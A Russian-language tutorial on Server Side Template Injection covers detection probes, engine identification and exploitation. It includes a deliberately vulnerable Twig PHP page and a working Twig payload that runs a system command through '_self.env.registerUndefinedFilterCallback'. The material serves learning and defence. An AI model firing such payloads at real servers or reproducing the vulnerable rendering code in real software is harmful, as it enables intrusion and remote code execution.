Есть такой вид атак, как Template Injection (Внедрение шаблона). Данный вид атак делится на два вида: Server Side Template Injection (SSTI) и Client Side Template Injection(CSTI). В данной статье мы рассмотрим SSTI, а в следующей — CSTI.

Введение

Для разделения бизнес-логики (логика, которая получает и обрабатывает данные) и представления данных (логика, которая показывает данные пользователю), в современных веб-приложениях часто используются шаблонизаторы. То есть шаблонизаторы (в вебе) используются для того, чтобы отделить HTML код(представление данных) от кода языка, ответственного за бизнес-логику (PHP, Java, Python, Ruby/Rails, Perl, JavaScript). Что же такое шаблон? Шаблон – это файл, содержащий HTML и некоторые маркеры, позволяющий этот шаблон обработать и сформировать на его основе конечный HTML код.

Из-за чего возникают уязвимость SSTI? Конечно же, из-за неверной обработки пользовательских данных. В отличии от XSS (с которой SSTI очень легко спутать), Template Injection можно использовать для получения удаленного выполнения команд (RCE).
Но об этом ниже.

Простой маленький пример: предположим, что у нас есть приложение, которое на основе пользовательского ввода, отправляет email с определенным содержанием. Например, представим, что пользователь должен ввести своё имя и в ответ ему придёт email, с его именем:


$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name) );

В данном примере пользователь контролирует содержимое шаблона вручную через GET-параметр «custom_email».

Смотрим далее:

custom_email={{7*7}}
49


custom_email={{self}}
Object of class __TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string

Что мы здесь видим? Явное исполнение кода(на стороне сервера) внутри песочницы. В зависимости от используемого шаблонизатора, может стать возможным побег из песочницы и выполнение произвольного кода.

Уязвимость часто возникает из-за того, что разработчики дают возможность пользователю изменять шаблон (некоторые шаблонизаторы предлагают безопасный режим для этих целей).
Все функции, которые используют данные введенные пользователем, могут быть уязвимы, в том числе вики-страницы, ревью и комментарии. Также, причиной уязвимости может быть то, что пользовательские данные вставляются непосредственно в шаблон.

Обнаружение SSTI

Данная методика была представлена на конференции Black Hat USA 2015.

Итак, есть два способа использования введённых пользователем данных.

Первый способ: пользовательский ввод помещается в шаблонное выражение.

$output = $twig->render($_GET['smarty'], array("first_name" => $user.first_name) );

И предположим,  что пользователь передаёт следующий параметр:

smarty=Hello

Ответ:

Hello

Для обнаружения SSTI нам нужно внедрить какое-нибудь выражение. Да, шаблонизаторов много, но почти все из них имеют одинаковый базовый синтаксис. Так что если мы передадим в качестве параметра:

smarty=Hello ${7*7}

то получим в ответ:

Hello 49

Второй способ: пользовательский ввод может быть помещён внутри шаблонного выражения, как правило, в качестве имени переменной.

personal_greeting=username
Hello user01

Изменение имени переменной (username) вернёт либо пустой результат, либо сообщение об ошибке. Обнаружить это немного сложней: сначала отправляем серверу имя переменной вместе с каким-нибудь тегом, а потом пытаемся выйти за пределы кода.

personal_greeting=username<tag>
Hello


personal_greeting=username}}<tag>
Hello user01 <tag>

Идентификация

После обнаружения  SSTI, мы должны выяснить, какой шаблонизатор используется. Сделать это очень просто, так как есть готовая схема для этой цели. Этот процесс выглядит так:

1

Нам всего-то нужно подставлять конкретные выражения и следить за ответом сервера. В некоторых случаях одно выражаение может приводить к разным ответам сервера (в зависимость от того, какой шаблонизатор используется). Например, {{7*’7′}} вернёт 49, если используется Twig, 7777777, если используется Jinja2 и не вернёт ничего, если шаблонизатор не используется.

Эксплуатация

После того, как мы выяснили какой шаблонизатор используется, следующий наш шаг — чтение документации. Вот ключевые области на которые стоит обратить внимание:

  • раздел «For Template Authors» описывает базовый синтаксис;
  • «Security Considerations» — есть огромный шанс, что разработчики не читали данный раздел;
  • список встроеных функций, методов, переменных;
  • список дополнений/расширений — некоторый из них могут быть включены по умолчанию.

В том случае, если в документации не будет говориться о встроенных переменных, то нам придётся их брутить. Нужные словари находятся в Burp Intruder и FuzzDB.

Практика

Давайте теперь рассмотрим один пример на практике. В качестве подопытного мы возьмём Twig.

Twig — это популярный шаблонизатор PHP. Итак, для демонстрации атаки, я использовал php файл со следующим содержанием (обратите внимание на то, что вам нужно установить и подключить Twig):

<html>
<head>
<title>Server Side Template injection - TWIG</title>
</head>
<body>
<?php
if (isset($_GET['name'])) {
$name=$_GET['name'];
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();

try {
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$result= $twig->render($name);
echo "Hello $result";

} catch (Exception $e) {
die ('ERROR: ' . $e->getMessage());
}
}

?>

</body>
</html>

 

Параметр name отображается в браузере. Присвоим параметру name значение DEFCON:

%d1%81%d0%bd%d0%b8%d0%bc%d0%be%d0%ba-%d1%8d%d0%ba%d1%80%d0%b0%d0%bd%d0%b0-%d0%be%d1%82-2016-11-09-22-09-57

Ага, всё работает, но давайте передадим {{9*9}} в качестве значения:

%d1%81%d0%bd%d0%b8%d0%bc%d0%be%d0%ba-%d1%8d%d0%ba%d1%80%d0%b0%d0%bd%d0%b0-%d0%be%d1%82-2016-11-09-22-13-30

А вот и SSTI :) Пришла очередь документации.

Через 30 секунд поиска находим список глобальных переменных, которые всегда доступны в шаблоне, и среди них есть обьект _self:

%d1%81%d0%bd%d0%b8%d0%bc%d0%be%d0%ba-%d1%8d%d0%ba%d1%80%d0%b0%d0%bd%d0%b0-%d0%be%d1%82-2016-11-09-22-28-16

Документация говорит, что Twig имеет обьект _self, который имеет атрибут env (является ссылкой на Twig_Evironment).В процессе чтения документации, мы приходим к рабочей полезной нагрузке {{_self.env.registerUndefinedFilterCallback(«exec»)}}{{_self.env.getFilter(«id»)}}

Сначала мы регистрируем exec, а потом вызываем системную комманду id:

%d1%81%d0%bd%d0%b8%d0%bc%d0%be%d0%ba-%d1%8d%d0%ba%d1%80%d0%b0%d0%bd%d0%b0-%d0%be%d1%82-2016-11-09-22-58-56

Вот мы и получили RCE :) Для автоматического обнаружения SSTI существует инструмент TPLMap.

А вот отчёт на HackerOne, где иследователю удалось найти SSTI в Uber.

Выводы

Уязвимость SSTI действительно очень опасная, так как с её помощью мы можем добиться RCE. Обнаружить уязвимость очень просто (хотя часто её можно перепутать с XSS), а вот поиск/разработка полезной нагрузки  — очень трудоёмкий процесс (правда, не во всех случаях). Кстати, для этой цели, на Github есть отличная шпаргалка.